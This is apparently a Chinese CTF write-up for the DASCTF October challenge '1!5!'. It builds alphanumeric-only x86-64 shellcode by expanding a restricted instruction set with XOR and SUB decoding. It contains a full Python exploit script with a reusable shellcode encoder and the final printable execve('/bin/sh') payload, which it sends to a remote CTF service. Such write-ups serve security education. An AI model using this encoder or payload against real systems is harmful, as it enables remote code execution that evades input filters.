DASCTF 十月赛 1!5! WriteUp

思路

  1. 列出可用集,根据可用集逐步构造出全指令集
  2. 根据可用集逐步编码shellcode

看了别的师傅有很巧妙的做法:不直接调shell,而是先手写调read,然后输入真正的shellcode,绕过检测。

我这里主要借机学习一下shellcode编码,就按官方思路复现了。

指令集扩展

shellcode字符集

编写一个基础的shellcode:

mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
push 0x3b
pop rax
syscall

汇编并得到需要的字符集:

{0, 5, 137, 15, 47, 49, 184, 59, 72, 80, 210, 88, 98, 231, 104, 105, 106, 110, 115, 246}

原始指令集

ASCIIHexAssembler Instruction
10x31xor %{32bit}, (%{64bit})
50x35xor [dword], %eax
a0x61Bad Instruction!
A0x4164 bit reserved prefix
B0x4264 bit reserved prefix
C0x4364 bit reserved prefix
D0x4464 bit reserved prefix
E0x4564 bit reserved prefix
F0x4664 bit reserved prefix
G0x4764 bit reserved prefix
H0x4864 bit reserved prefix
I0x4964 bit reserved prefix
J0x4a64 bit reserved prefix
K0x4b64 bit reserved prefix
L0x4c64 bit reserved prefix
M0x4d64 bit reserved prefix
N0x4e64 bit reserved prefix
O0x4f64 bit reserved prefix
P0x50push %rax
Q0x51push %rcx
R0x52push %rdx
S0x53push %rbx
U0x55push %rbp
V0x56push %rsi
W0x57push %rdi
X0x58pop %rax
Y0x59pop %rcx
Z0x5apop %rdx

可用指令集很有限,但是看到数据传输指令push/pop,数据修改指令xor %{32bit}, (%{64bit})xor [dword], %eax都有,可以满足我们编码和解码的基本要求。

然后看到当前地址保存在rdx中,而且push/pop %rdx指令都是可用的,所以得到当前地址的数据,通过偏移计算可以得到编码后shellcode的位置。(当然这题里面没什么用,因为内存固定分配在0x10000)

relocate

因为解码需要修改内存中的数据,这里能够用于修改内存中数据的指令只有0x31,所以我们遍历生成相关指令:

[001]:    xor    dword ptr [rcx], esi
[002]:    xor    dword ptr [rcx + 0x31], esp
[003]:    xor    dword ptr [rcx + 0x35], esp
[004]:    xor    dword ptr [rcx + 0x61], esp
[005]:    xor    dword ptr [rcx + 0x41], esp
[006]:    xor    dword ptr [rcx + 0x42], esp
[007]:    xor    dword ptr [rcx + 0x43], esp
[008]:    xor    dword ptr [rcx + 0x44], esp
[009]:    xor    dword ptr [rcx + 0x45], esp
[010]:    xor    dword ptr [rcx + 0x46], esp
[011]:    xor    dword ptr [rcx + 0x47], esp
[012]:    xor    dword ptr [rcx + 0x48], esp
[013]:    xor    dword ptr [rcx + 0x49], esp
[014]:    xor    dword ptr [rcx + 0x4a], esp
[015]:    xor    dword ptr [rcx + 0x4b], esp
[016]:    xor    dword ptr [rcx + 0x4c], esp
[017]:    xor    dword ptr [rcx + 0x4d], esp
[018]:    xor    dword ptr [rcx + 0x4e], esp
[019]:    xor    dword ptr [rcx + 0x4f], esp
[020]:    xor    dword ptr [rcx + 0x50], esp
[021]:    xor    dword ptr [rcx + 0x51], esp
[022]:    xor    dword ptr [rcx + 0x52], esp
[023]:    xor    dword ptr [rcx + 0x53], esp
[024]:    xor    dword ptr [rcx + 0x55], esp
[025]:    xor    dword ptr [rcx + 0x56], esp
[026]:    xor    dword ptr [rcx + 0x57], esp
[027]:    xor    dword ptr [rcx + 0x58], esp
[028]:    xor    dword ptr [rcx + 0x59], esp
[029]:    xor    dword ptr [rcx + 0x5a], esp
[030]:    xor    dword ptr [rcx + 0x31], eax
[031]:    xor    dword ptr [rcx + 0x35], eax
[032]:    xor    dword ptr [rcx + 0x61], eax
[033]:    xor    dword ptr [rcx + 0x41], eax
[034]:    xor    dword ptr [rcx + 0x42], eax
[035]:    xor    dword ptr [rcx + 0x43], eax
[036]:    xor    dword ptr [rcx + 0x44], eax
[037]:    xor    dword ptr [rcx + 0x45], eax
[038]:    xor    dword ptr [rcx + 0x46], eax
[039]:    xor    dword ptr [rcx + 0x47], eax
[040]:    xor    dword ptr [rcx + 0x48], eax
[041]:    xor    dword ptr [rcx + 0x49], eax
[042]:    xor    dword ptr [rcx + 0x4a], eax
[043]:    xor    dword ptr [rcx + 0x4b], eax
[044]:    xor    dword ptr [rcx + 0x4c], eax
[045]:    xor    dword ptr [rcx + 0x4d], eax
[046]:    xor    dword ptr [rcx + 0x4e], eax
[047]:    xor    dword ptr [rcx + 0x4f], eax
[048]:    xor    dword ptr [rcx + 0x50], eax
[049]:    xor    dword ptr [rcx + 0x51], eax
[050]:    xor    dword ptr [rcx + 0x52], eax
;...623 lines remains, omitted for brevity...

可以看到可用的指令还是非常多的,根据以上信息,可以选出用于读取编码后shellcode数据的寄存器,和保存地址偏移的寄存器。

这里选用rdx保存地址偏移,eax进行解码运算(因为eax可以直接用立即数操作),下面是rdxeax有关的指令:

[001]:    xor    dword ptr [rdx + 0x31], eax
[002]:    xor    dword ptr [rdx + 0x35], eax
[003]:    xor    dword ptr [rdx + 0x61], eax
[004]:    xor    dword ptr [rdx + 0x41], eax
[005]:    xor    dword ptr [rdx + 0x42], eax
[006]:    xor    dword ptr [rdx + 0x43], eax
[007]:    xor    dword ptr [rdx + 0x44], eax
[008]:    xor    dword ptr [rdx + 0x45], eax
[009]:    xor    dword ptr [rdx + 0x46], eax
[010]:    xor    dword ptr [rdx + 0x47], eax
[011]:    xor    dword ptr [rdx + 0x48], eax
[012]:    xor    dword ptr [rdx + 0x49], eax
[013]:    xor    dword ptr [rdx + 0x4a], eax
[014]:    xor    dword ptr [rdx + 0x4b], eax
[015]:    xor    dword ptr [rdx + 0x4c], eax
[016]:    xor    dword ptr [rdx + 0x4d], eax
[017]:    xor    dword ptr [rdx + 0x4e], eax
[018]:    xor    dword ptr [rdx + 0x4f], eax
[019]:    xor    dword ptr [rdx + 0x50], eax
[020]:    xor    dword ptr [rdx + 0x51], eax
[021]:    xor    dword ptr [rdx + 0x52], eax
[022]:    xor    dword ptr [rdx + 0x53], eax
[023]:    xor    dword ptr [rdx + 0x55], eax
[024]:    xor    dword ptr [rdx + 0x56], eax
[025]:    xor    dword ptr [rdx + 0x57], eax
[026]:    xor    dword ptr [rdx + 0x58], eax
[027]:    xor    dword ptr [rdx + 0x59], eax
[028]:    xor    dword ptr [rdx + 0x5a], eax

这里反汇编使用了capstone-engine,非常强大的反汇编框架,提供了python接口

因为这里的偏移是固定的,所以我们需要一些没用的指令填充这些空白,这里选用push/pop rcx命令:

push %rcx
pop %rcx

异或字符集

计算一轮异或扩展到的字符集:

xor value:
{0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 54, 55, 56, 57, 59, 80, 84, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 107, 108, 109, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127}

二轮异或扩展到的字符集,可以看到0x7f以下的字符已经全部包含了:

xor2 value:
{0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127}

shellcode字符集与异或字符集作差集:

{231, 137, 210, 246, 184}

这些字符要想办法二次构造了,我们在扩展到的字符集里找可以构造这些字符的指令,然后异或解码得到它们,再通过它们解码shellcode这部分字符。

全字符集

按官方WP思路我们二次构造可以用到sub/add byte ptr [rxx], xl和一些push xxxx。这里有点疑惑的是官方WP是怎么选出这部分指令的。

因为初步解码生成的shellcode可用0-127的字符,而通过sub/add我们理论就可以构造出剩下所有的字符了。

编码shellcode

上一步已经通过xorsub的方式构造出了全字符集,也就是说理论上我们可以构造出任意指令使用了。接下来,有两种方式对已有shellcode进行编码:

  1. 直接在缓冲区中写入decoder和encoded shellcode,decoder直接对encoded shellcode进行解码。
  2. 编写能够在内存中写入shellcode的汇编代码。

这题我一开始尝试第一种方案,结果构造出来太长了(我太菜了555)。后面用官方思路也就是第二种思路实现。

我用rdx寄存器来控制在内存写入的位置,rax寄存器用于各种计算。

先使用异或字符集中可用指令构造在后面的内存中写入shellcode,这里主要选用的指令是:

push xxx
pop rax/rdx
xor dword ptr [rdx+{i*4}], eax  ;用于写入shellcode
sub byte ptr [rdx+{disp}], al   ;用于生成>0x7f的字符

思路如下:

  1. 控制rdx指向0x10500位置,也就是接下来要写入shellcode的位置
  2. 写入shellcode
    1. 对小于等于0x7f的字符通过一次或两次异或生成
    2. 对大于0x7f的字符通过sub生成

具体脚本如下(其实不用像我这么麻烦,这里主要是想尝试开发通用编码器所以才写的这么复杂):

    # generate code <= 0x7f
    generator = b""
    baseaddr = 0x10300
    generator += asm(f"""
    push {baseaddr}
    pop rdx
    """)
    for i in range((len(shellcode)+3)//4):
        snippet = shellcode[i*4:(i+1)*4]
        while len(snippet) < 4:
            snippet += get_nop()

        imm = 0
        sub_queue = []
        word = b""
        for j in range(len(snippet)):
            byte = snippet[j]
            if byte not in generator_set:
                sub_operands = get_sub_byte(byte, sub_lookup)
                sub_queue.append((i*4+j, sub_operands[1]))
                byte = sub_operands[0]
            word += bytes([byte])

        imm = unpack(word, 4*8)

        generator += asm(f"""
        push {imm}
        pop rax
        xor dword ptr [rdx+{i*4}], eax
        """)

        while len(sub_queue) > 0:
            disp, imm = sub_queue.pop(0)
            generator += asm(f"""
            push {imm}
            pop rax
            sub byte ptr [rdx+{disp}], al
            """)

    # avoid side effect of \x00
    generator += asm("""
    push rdx
    pop rax
    """)

注意因为写入的汇编代码非连续,中间隔着的\x00反汇编为add byte ptr [rax], al,如果rax指向不可写地址,会发生段错误,因此每段代码结束都要将其指向可写地址。

这部分得到的汇编指令为:

push    0x10300
pop    rdx
push    0x622f0048
pop    rax
xor    dword ptr [rdx], eax
push    0x45
pop    rax
sub    byte ptr [rdx + 1], al
push    0x732f6e69
pop    rax
xor    dword ptr [rdx + 4], eax
push    0x48530068
pop    rax
xor    dword ptr [rdx + 8], eax
push    0x31480000
pop    rax
xor    dword ptr [rdx + 0xc], eax
push    0x77
pop    rax
sub    byte ptr [rdx + 0xc], al
push    0x19
pop    rax
sub    byte ptr [rdx + 0xd], al
push    0x314800
pop    rax
xor    dword ptr [rdx + 0x10], eax
push    0xa
pop    rax
sub    byte ptr [rdx + 0x10], al
push    0x2e
pop    rax
sub    byte ptr [rdx + 0x13], al
push    0xf583b6a
pop    rax
xor    dword ptr [rdx + 0x14], eax
push    0x51595105
pop    rax
xor    dword ptr [rdx + 0x18], eax
push    rdx
pop    rax

接下来就是用原始指令集在内存中生成并写入这部分指令了,还是类似的思路,我一开始写了很多次都没能在0x200大小内,对比了一下是一些细节处理的马虎以及一些bug:

  1. 多次异或逻辑
  2. 偏移和内存指针变化
  3. 变量名字重复导致的一些bug

具体脚本如下:

    decoder = b""
    # get usable disps
    disps = list(get_rdx_disps(alphabet))
    disps.sort()
    disps = disps[3:]

    # initialize rdx, rax
    rdx = 0x10000
    rax = rdx
    distance = 0x200 - disps[0]
    next_info = ptr_next(rdx, distance, xor_lookup)
    decoder += next_info[1]
    rdx += next_info[0]
    rax = rdx

    baseaddr = rdx + disps[0]
    # offset = baseaddr
    for i in range((len(generator)+3)//4):
        # baseaddr + i*4 == rdx + disp
        disp = baseaddr + i*4 - rdx
        if disp not in disps:
            # rdx' + disp[i] = baseaddr + i*4
            # rdx' = baseaddr + i*4 - disp[i]
            # distance = rdx' - rdx
            max_distance = baseaddr + i*4 - disps[0] - rdx
            for j in range(1, len(disps)):
                distance = baseaddr + i*4 - disps[j] - rdx
                next_info = ptr_next(rdx, distance, xor_lookup)
                if distance <= max_distance:
                    decoder += next_info[1]
                    rdx += next_info[0]
                    rax = rdx
                    disp = baseaddr + i*4 - rdx
                    break

        snippet = generator[i*4:(i+1)*4]

        word = unpack_code(snippet, 4*8)
        diff = rxor(rax, word)
        xor_operands = get_xor_operands(rax, word, 4*8, xor_lookup)
        if not xor_operands:
            xor2_operands = get_xor_operands(rax, word, 4*8, xor2_lookup)

            imm = xor2_operands[0]
            decoder += asm(f"xor eax, {imm}")

            words = [b"", b""]
            for byte in pack(xor2_operands[1], 4*8):
                byte_operands = get_xor_byte(byte, xor_lookup)
                words[0] += bytes([byte_operands[0]])
                words[1] += bytes([byte_operands[1]])

            for word in words:
                imm = unpack(word, 4*8)
                decoder += asm(f"xor eax, {imm}")
        else:
            for operand in xor_operands:
                imm = operand
                decoder += asm(f"xor eax, {imm}")

        decoder += asm(f"xor dword ptr [rdx+{disp}], eax")
        rax ^= diff

    # avoid side effect of \x00
    distance = 0x10000 - rdx
    next_info = ptr_next(rdx, distance, xor_lookup)
    decoder += next_info[1]

编码生成结果,汇编后长度为0x1e0:

push    rdx
pop rax
xor eax, 0x31314131
xor eax, 0x31314331
push    rax
pop rdx
xor eax, 0x42414131
xor eax, 0x43434359
xor dword ptr [rdx + 0x42], eax
xor eax, 0x31413141
xor eax, 0x314b3148
xor eax, 0x49615a61
xor dword ptr [rdx + 0x46], eax
xor eax, 0x41413131
xor eax, 0x514b4431
xor dword ptr [rdx + 0x4a], eax
xor eax, 0x44414c50
xor eax, 0x59496161
xor dword ptr [rdx + 0x4e], eax
xor eax, 0x31313141
xor eax, 0x31414149
xor eax, 0x44585a61
xor dword ptr [rdx + 0x52], eax
xor eax, 0x31313131
xor eax, 0x45443142
xor eax, 0x5a594143
xor dword ptr [rdx + 0x56], eax
xor eax, 0x41413131
xor eax, 0x4d44314b
xor eax, 0x615a3161
xor dword ptr [rdx + 0x5a], eax
push    rdx
pop rax
xor eax, 0x31313141
xor eax, 0x3131315a
push    rax
pop rdx
xor eax, 0x31414131
xor eax, 0x50494a4f
xor eax, 0x61616161
xor dword ptr [rdx + 0x43], eax
xor eax, 0x31313131
xor eax, 0x31424131
xor eax, 0x31435057
xor dword ptr [rdx + 0x47], eax
xor eax, 0x31313131
xor eax, 0x31423541
xor eax, 0x31434461
xor dword ptr [rdx + 0x4b], eax
xor eax, 0x31313131
xor eax, 0x31313531
xor eax, 0x58594442
xor dword ptr [rdx + 0x4f], eax
xor eax, 0x31313131
xor eax, 0x41415a31
xor eax, 0x424d6131
xor dword ptr [rdx + 0x53], eax
xor eax, 0x31313131
xor eax, 0x41424a31
xor eax, 0x58576146
xor dword ptr [rdx + 0x57], eax
push    rdx
pop rax
xor eax, 0x31313149
xor eax, 0x31313161
push    rax
pop rdx
xor eax, 0x31314131
xor eax, 0x31484841
xor eax, 0x5861614f
xor dword ptr [rdx + 0x43], eax
xor eax, 0x51414945
xor eax, 0x61556161
xor dword ptr [rdx + 0x47], eax
xor eax, 0x41313131
xor eax, 0x48415a41
xor eax, 0x614c6158
xor dword ptr [rdx + 0x4b], eax
xor eax, 0x35414131
xor eax, 0x44535931
xor eax, 0x61616158
xor dword ptr [rdx + 0x4f], eax
xor eax, 0x59425a53
xor eax, 0x61586161
xor dword ptr [rdx + 0x53], eax
xor eax, 0x41534249
xor eax, 0x47615861
xor dword ptr [rdx + 0x57], eax
push    rdx
pop rax
xor eax, 0x31313131
xor eax, 0x31313149
push    rax
pop rdx
xor eax, 0x31313131
xor eax, 0x43314143
xor eax, 0x61435a61
xor dword ptr [rdx + 0x43], eax
xor eax, 0x31413131
xor eax, 0x31593142
xor eax, 0x4b614243
xor dword ptr [rdx + 0x47], eax
xor eax, 0x42415331
xor eax, 0x584b6156
xor dword ptr [rdx + 0x4b], eax
xor eax, 0x41555141
xor eax, 0x5261615a
xor dword ptr [rdx + 0x4f], eax
xor eax, 0x42313131
xor eax, 0x43354131
xor eax, 0x6159494d
xor dword ptr [rdx + 0x53], eax
xor eax, 0x41313131
xor eax, 0x495a314b
xor eax, 0x61614961
xor dword ptr [rdx + 0x57], eax
push    rdx
pop rax
xor eax, 0x31314131
xor eax, 0x31314361
push    rax
pop rdx

最后剩下的填充nop指令到0x200即可,最后的payload如下:

RX51A1151C11PZ51AAB5YCCC1BB5A1A15H1K15aZaI1BF511AA51DKQ1BJ5PLAD5aaIY1BN5A1115IAA15aZXD1BR511115B1DE5CAYZ1BV511AA5K1DM5a1Za1BZRX5A1115Z111PZ51AA15OJIP5aaaa1BC5111151AB15WPC11BG511115A5B15aDC11BK51111515115BDYX1BO5111151ZAA51aMB1BS5111151JBA5FaWX1BWRX5I1115a111PZ51A115AHH15OaaX1BC5EIAQ5aaUa1BG5111A5AZAH5XaLa1BK51AA551YSD5Xaaa1BO5SZBY5aaXa1BS5IBSA5aXaG1BWRX511115I111PZ511115CA1C5aZCa1BC511A15B1Y15CBaK1BG51SAB5VaKX1BK5AQUA5ZaaR1BO5111B51A5C5MIYa1BS5111A5K1ZI5aIaa1BWRX51A115aC11PZYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQYQ

get-shell

Exp

from pwn import *
from capstone import *
from capstone import x86
from keystone import *

debug = False
local_path = './pwn_1'
remote_path = 'node4.buuoj.cn'
remote_port = 29298
file = ELF(local_path)
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
# libc = file.libc
# ld = ELF('/usr/lib/x86_64-linux-gnu/ld-2.31.so')
context.binary = local_path

if debug:
    io = process(local_path)
    # context.terminal = ['cmd.exe', '/c', 'wt.exe', '-w', '0','sp', '-V', '--title', 'gdb', 'bash', '-c']
    # context.terminal = ['cmd.exe', '/c', 'wt.exe', 'bash', '-c']
    context.log_level = 'debug'
else:
    io = remote(remote_path, remote_port)

def z(a=''):
    if debug:
        gdb.attach(io, a)
        if a == '':
            raw_input()
    else:
        pass

def asm(code):
    ks = Ks(KS_ARCH_X86, KS_MODE_64)
    encoding, count = ks.asm(code)
    return bytes(encoding)

def disasm(code):
    md = Cs(CS_ARCH_X86, CS_MODE_64)
    md.detail = True
    return md.disasm(code, 0x0)

def rxor(src, dest):
    return src ^ dest

def unpack_code(code, word_size):
    nop_count = word_size//8 - len(code)
    for i in range(nop_count):
        code += get_nop()

    return unpack(code, word_size)

def get_xor_lookup(alphabet1, alphabet2=None):
    if alphabet2 is None:
        alphabet2 = alphabet1

    lookup = dict()
    for i in alphabet1:
        for j in alphabet2:
            k = i ^ j
            if lookup.get(k):
                continue
            else:
                lookup[k] = (i, j)

    return lookup

def get_xor_byte(byte, lookup):
    return lookup.get(byte)

def get_xor_operands(src, dest, word_size, lookup):
    diff = rxor(src, dest)
    operands = [b"", b""]
    for byte in pack(diff, word_size):
        byte_operands = get_xor_byte(byte, lookup)
        if not byte_operands:
            return None
        operands[0] += bytes([byte_operands[0]])
        operands[1] += bytes([byte_operands[1]])

    return tuple([unpack(operand, word_size) for operand in operands])

def get_sub_lookup(alphabet):
    lookup = dict()
    for i in alphabet:
        for j in alphabet:
            k = (i - j) % 256
            if lookup.get(k):
                continue
            else:
                lookup[k] = (i, j)

    return lookup

def get_sub_byte(byte, lookup):
    return lookup.get(byte)

pair_flag = False

def get_nop():
    global pair_flag
    pair_flag = not pair_flag
    inst = 'push rcx' if pair_flag else 'pop rcx'
    return asm(inst)

def get_rdx_disps(alphabet):
    disps = set()
    for operand1 in alphabet:
        for operand2 in alphabet:
            code = bytes([0x31, operand1, operand2])
            for inst in disasm(code):
                if inst.mnemonic == 'xor':
                    if inst.operands[0].mem.disp not in disps:
                        if inst.reg_name(inst.operands[0].mem.base) == 'rdx' and inst.reg_name(inst.operands[1].value.reg) == 'eax':
                            disps.add(inst.operands[0].mem.disp)
                            # print("[%03d]:\t%s\t%s" %
                            #       (len(disps), inst.mnemonic, inst.op_str))

    return disps

def ptr_next(ptr, distance, lookup):
    src = ptr
    dest = ptr + distance
    operands = get_xor_operands(src, dest, 4*8, lookup)
    while not operands:
        distance += 1
        dest = ptr + distance
        operands = get_xor_operands(src, dest, 4*8, lookup)

    code = f"""
    push rdx
    pop rax
    xor eax, {operands[0]}
    xor eax, {operands[1]}
    push rax
    pop rdx
    """

    return (distance, asm(code))

def encode(shellcode: str, alphabet: set):
    shellcode = asm(shellcode)
    # initialize lookup table
    xor_lookup = get_xor_lookup(alphabet)
    xor2_lookup = get_xor_lookup(alphabet, xor_lookup)
    generator_set = alphabet | set(xor_lookup) | set(xor2_lookup)
    sub_lookup = get_sub_lookup(generator_set)

    # generate code <= 0x7f
    generator = b""
    baseaddr = 0x10300
    generator += asm(f"""
    push {baseaddr}
    pop rdx
    """)
    for i in range((len(shellcode)+3)//4):
        snippet = shellcode[i*4:(i+1)*4]
        while len(snippet) < 4:
            snippet += get_nop()

        imm = 0
        sub_queue = []
        word = b""
        for j in range(len(snippet)):
            byte = snippet[j]
            if byte not in generator_set:
                sub_operands = get_sub_byte(byte, sub_lookup)
                sub_queue.append((i*4+j, sub_operands[1]))
                byte = sub_operands[0]
            word += bytes([byte])

        imm = unpack(word, 4*8)

        generator += asm(f"""
        push {imm}
        pop rax
        xor dword ptr [rdx+{i*4}], eax
        """)

        while len(sub_queue) > 0:
            disp, imm = sub_queue.pop(0)
            generator += asm(f"""
            push {imm}
            pop rax
            sub byte ptr [rdx+{disp}], al
            """)

    # avoid side effect of \x00
    generator += asm("""
    push rdx
    pop rax
    """)

    # for inst in disasm(generator):
    #     print("%s\t%s" % (inst.mnemonic, inst.op_str))

    decoder = b""
    # get usable disps
    disps = list(get_rdx_disps(alphabet))
    disps.sort()
    disps = disps[3:]

    # initialize rdx, rax
    rdx = 0x10000
    rax = rdx
    distance = 0x200 - disps[0]
    next_info = ptr_next(rdx, distance, xor_lookup)
    decoder += next_info[1]
    rdx += next_info[0]
    rax = rdx

    baseaddr = rdx + disps[0]
    # offset = baseaddr
    for i in range((len(generator)+3)//4):
        # baseaddr + i*4 == rdx + disp
        disp = baseaddr + i*4 - rdx
        if disp not in disps:
            # rdx' + disp[i] = baseaddr + i*4
            # rdx' = baseaddr + i*4 - disp[i]
            # distance = rdx' - rdx
            max_distance = baseaddr + i*4 - disps[0] - rdx
            for j in range(1, len(disps)):
                distance = baseaddr + i*4 - disps[j] - rdx
                next_info = ptr_next(rdx, distance, xor_lookup)
                if distance <= max_distance:
                    decoder += next_info[1]
                    rdx += next_info[0]
                    rax = rdx
                    disp = baseaddr + i*4 - rdx
                    break

        snippet = generator[i*4:(i+1)*4]

        word = unpack_code(snippet, 4*8)
        diff = rxor(rax, word)
        xor_operands = get_xor_operands(rax, word, 4*8, xor_lookup)
        if not xor_operands:
            xor2_operands = get_xor_operands(rax, word, 4*8, xor2_lookup)

            imm = xor2_operands[0]
            decoder += asm(f"xor eax, {imm}")

            words = [b"", b""]
            for byte in pack(xor2_operands[1], 4*8):
                byte_operands = get_xor_byte(byte, xor_lookup)
                words[0] += bytes([byte_operands[0]])
                words[1] += bytes([byte_operands[1]])

            for word in words:
                imm = unpack(word, 4*8)
                decoder += asm(f"xor eax, {imm}")
        else:
            for operand in xor_operands:
                imm = operand
                decoder += asm(f"xor eax, {imm}")

        decoder += asm(f"xor dword ptr [rdx+{disp}], eax")
        rax ^= diff

    # avoid side effect of \x00
    distance = 0x10000 - rdx
    next_info = ptr_next(rdx, distance, xor_lookup)
    decoder += next_info[1]

    return decoder

def exp():
    alphabet = set(b'15aABCDEFGHIJKLMNOPQRSUVWXYZ')
    shellcode = """
    mov rbx, 0x68732f6e69622f
    push rbx
    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    push 0x3b
    pop rax
    syscall
    """

    shellcode = encode(shellcode, alphabet)
    while len(shellcode) < 0x200:
        shellcode += get_nop()

    # z()

    # print(shellcode)
    io.send(shellcode)
    io.interactive()

if __name__ == '__main__':
    exp()

总结

  1. 通过可用指令集的修改数据指令扩展到更大的指令集
  2. 选择合适的寄存器,选择合适的指令
  3. 内存中的\x00反汇编为add byte ptr [rax], al,如果rax指向不可写地址,会发生段错误
  4. 通用编码器的实现思路
    1. 模拟汇编环境
      1. 跟踪寄存器变量等
      2. 映射各指令和字符集
      3. 汇编指令对应到基本运算,并求逆运算
    2. 选择合适编码模型
      1. 解码器+编码后指令(通用性强)
      2. 分层指令解码(灵活性强)
暂无评论

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇